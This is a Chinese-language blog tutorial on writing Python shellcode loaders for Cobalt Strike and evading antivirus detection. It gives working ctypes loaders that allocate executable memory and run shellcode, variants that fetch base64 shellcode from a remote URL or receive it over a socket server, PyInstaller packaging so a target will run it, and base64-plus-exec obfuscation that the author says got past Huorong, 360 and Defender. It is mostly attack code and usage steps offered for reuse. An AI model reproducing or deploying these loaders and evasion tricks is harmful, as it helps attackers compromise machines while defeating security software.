目录
环境配置
1.根据python选择合适的加载器
参考: zhihu.com/question/51088465/answer/2419955833
import struct
print(struct.calcsize("P") * 8)
# 查看自己python位数
2.shellcode生成
根据自己的python版本生成对应位数的shellcode
64位python就勾选。32就不勾选
3.选择加载器
配置好CS环境,讲生成的shellcode填入下面py文件的shellcode 处。这个我给出了 两个加载器代码,自己选一个用就行了
加载器1
import ctypes
# shellcode加载
def shellCodeLoad(shellcode):
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
# 创建一个线程从shellcode首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr),
ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
# 等待创建的线程运行完毕
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
if __name__ == "__main__":
shellcode = b"填入你的shellcode"
shellCodeLoad(bytearray(shellcode))
# 放入CS生成的shellcode
加载器2
import ctypes
scbytes = b'填入你的shellcode'
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t )
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int) )
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(scbytes)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buff = ( ctypes.c_char * len(scbytes) ).from_buffer_copy( scbytes )
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(scbytes)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1);
4.上线测试加载器是否能用
填好shellcode后,运行看看有没有上线成功
成功上线
1、ShellCode分离
Python从参数中提取
从参数中获取shellcode。不直接将shellcode写入代码中。
这里采用base64加解密传递参数,使用的是加载器1
代码
import sys
import ctypes, base64
def scloader(scbytes):
#加载器代码(直接copy过来就行了)
if __name__ == '__main__':
sc = sys.argv[1]
scbytes = base64.b64decode(sc)
scloader(scbytes)
- 使用
python a.py 【shellcode】
成功上线
Python从网站中提取
访问外部网站,读取里面的文件获取shellcode
如访问:url:http://xx.xx.xx.xx/sc.txt(建议在绿标白名单的网站上找一个存储路径充当)
这里我用阿里云的oss作为演示
- 本地新建一个文本文件。
将b64加密后的代码放进去
- 上传到oss后获取文件的url
- 填入url运行成功上线
代码
import requests,time
import ctypes,base64
def scloader(scbytes):
#加载器代码(直接copy过来就行了)
if __name__ == '__main__':
# time.sleep(60)
sc = requests.get("你的url").text
print(sc)
scbytes=base64.b64decode(sc)
#shellcode 进入内存
scloader(scbytes)
Python从文本中提取
这个与上面类似,只不过是从远程读文本,换成了从本地
import ctypes,base64
def scloader(scbytes):
#加载器代码(直接copy过来就行了)
if __name__ == '__main__':
with open('sc.txt', 'r') as f:
sc = f.read()
scbytes=base64.b64decode(sc)
scloader(scbytes)
- 运行后上线成功
Python从socket连接
socket,pipe等技术
利用建立网络通讯管道,在发送ShellCode接受执行
可以在发送过程中进行混淆加密,接受后进行解密执行提高免杀能力
- 服务端执行服务端代码
- 再开启客户端
此时会有显示
客户端输入shellcode
- 成功上线
服务端代码
# -*- coding:utf-8 -*-
import socket,base64,ctypes,os
server=socket.socket()
def zx(data):
scbytes=base64.b64decode(data+b'9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zEyNC43MS4xMTEuNjQAF1Bl6g==')
print(scbytes)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int))
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(scbytes)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buff = (ctypes.c_char * len(scbytes)).from_buffer_copy(scbytes)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space), buff, ctypes.c_int(len(scbytes)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(space),ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1);
return scbytes
server = socket.socket()
server.bind(("0.0.0.0",9999))
server.listen(5)
while True:
conn,addr = server.accept()
print("new addr:",addr)
while True:
data = conn.recv(1024)
if not data:
print("客户端已断开")
break
print("执行指令:",data)
zx(data)
if len(cmd_res) == 0:
cmd_res = "cmd has no output...."
conn.send( str(len(cmd_res.encode())).encode() ) #发送服务端发送给客户端数据的长度
conn.send(cmd_res.encode("utf-8")) #发送服务端的数据
print("send done")
server.close()
客户端代码
import socket
client = socket.socket()
client.connect(("192.168.8.1",9999))
while True:
cmd = input(">>>:").strip()
if len(cmd) == 0: continue
client.send(cmd.encode("utf-8"))
cmd_res_size = client.recv(1024) # 接收命令的长度
print("命令结果大小:", cmd_res_size.decode())
recevied_size = 0 # 接收客户端发来数据的计算器
recevied_data = b'' # 客户端每次发来内容的计数器
while recevied_size < int(cmd_res_size.decode()): # 当接收的数据大小 小于 客户端发来的数据
cmd_res = client.recv(1024)
recevied_size += len(cmd_res) # 每次收到的服务端的数据有可能小于1024,所以必须用len判断
recevied_data += cmd_res
else:
print(recevied_data.decode("utf-8", "ignore"))
print("cmd res receive done ....", recevied_size)
client.close()
2、Py打包器
肯定不可能直接上传给目标Py文件,叫目标运行。所以需要进行打包成exe文件。常用的打包有三种3打包器
- py2exe
- pyinstall
- cx_Freeze
这里采用pyinstall打包 - 新建一个文件夹放入Pyinstaller.exe与写好的py文件
python .\pyinstaller.exe -F 要打包的py文件
- 打包完成
测试是否可以上线
成功上线
3、免杀测试
将上面打包的几个exe上传到虚拟机上面,发现还没运行就被火绒、Df、360、卡巴斯基杀了
- 因为shellcode已经分离了。能够检测的应该就是加载器的问题了。因为这个加载器是网上公开的,用的人多了就容易被检测到了(如果有自己编写的加载器应该是可以过检测的)
加载器过文件检测
1、加载器代码加密
既然会检测加载器代码,那我们将加载器代码加密不就可以防止其检测了吗
- 将加载器代码进行base64加密
import base64
# 原始代码
original_code = """
import ctypes
def scloader(scbytes):
加载器代码(注意缩进)
if __name__ == '__main__':
with open('sc.txt', 'r') as f: sc = f.read() scbytes=base64.b64decode(sc) scloader(scbytes)"""
# 将代码进行base64编码
encoded_code = base64.b64encode(original_code.encode('utf-8')).decode('utf-8')
print(encoded_code)
- 输出的base64加密代码放
import base64
import ctypes
encoded_code ="base64加密后的代码"
# 解码并执行代码
decoded_code = base64.b64decode(encoded_code).decode('utf-8')
exec(decoded_code)
- 成功上线
- 打包成exe测试。
成功过文件检测
卡巴斯基还是厉害
2、文件读取加载器代码
除了用base64方式加密外,也可以尝试用文件读取的方式进行加密,二者代码差不多,只不过是把加载器的加密代码放到文件里面罢了
生成加密加载器代码文件
import base64
# 原始代码
original_code = """
import ctypes
def scloader(scbytes):
加载器代码(注意缩进)
if __name__ == '__main__':
with open('sc.txt', 'r') as f: sc = f.read() scbytes=base64.b64decode(sc) scloader(scbytes)"""
# 将代码进行base64编码
encoded_code = base64.b64encode(original_code.encode('utf-8')).decode('utf-8')
print(encoded_code)
# 将编码后的代码保存到文件中
with open('encoded_code.txt', 'w') as f:
f.write(encoded_code)
print("Base64编码后的代码已保存到 encoded_code.txt 文件中。")
读取加载器代码并解码运行
import base64
import ctypes
# 从文件中读取编码后的代码
with open('encoded_code.txt', 'r') as f:
encoded_code = f.read()
# 解码并执行代码
decoded_code = base64.b64decode(encoded_code).decode('utf-8')
exec(decoded_code)
3、更多加密
除了以上的方式,还有很多种加密,可以自己发挥想象进行加密,如也可以通过远程文件读取加载器代码进行加密
4、突破内存扫描
上面的办法不管是分离shellcode还是分离加载器。尽管过了文件检测,最终执行时还是会被检测到,过不了内存检测
就是因为最后执行都时候都会回归本体
你加密混淆分离,最后还是会回归原来的代码并被执行。那么在内存当中就可以被检测到,
项目参考:
GitHub - minhangxiaohui/AvoidRandomKill: 一次免杀实践(bypass 360、huorong、windows defender、kaspersky、)
GitHub - wangfly-me/LoaderFly: 助力每一位RT队员,快速生成免杀木马
一种规避杀软检测的技术就是内存加密技术。由于杀软并不是一直扫描内存,而是间隙性的扫描敏感内存,
因此可以在cs的shellcode调用sleep休眠将可执行内存区域加密,在休眠结束时再将内存解密来规避杀软内存扫描达到免杀的目的。
- 也就是说,我们让它在执行前先卡住不动,(执行时才会进入内存)等检测过去再执行,然后再上线
基于以上原理,结合想法进行了实现,成功实现动态免杀火绒、360、defender、卡巴斯基等
PS:昨天本想发一篇《shellcode分离-C》的,但是学习C做免杀感觉有些吃力,就没能发成。今天的这篇python相对来说与C的思路是一样的,且python更容易上手,所以学起来也容易些。但是后面的内存免杀确实是给我上强度了。自己到现在也只是有一点简单粗略的理解,也不好意思发出来了。更多免杀可以看看这位大佬的笔记 GitHub - xf555er/AntiAntiVirusNotes: 学习免杀的笔记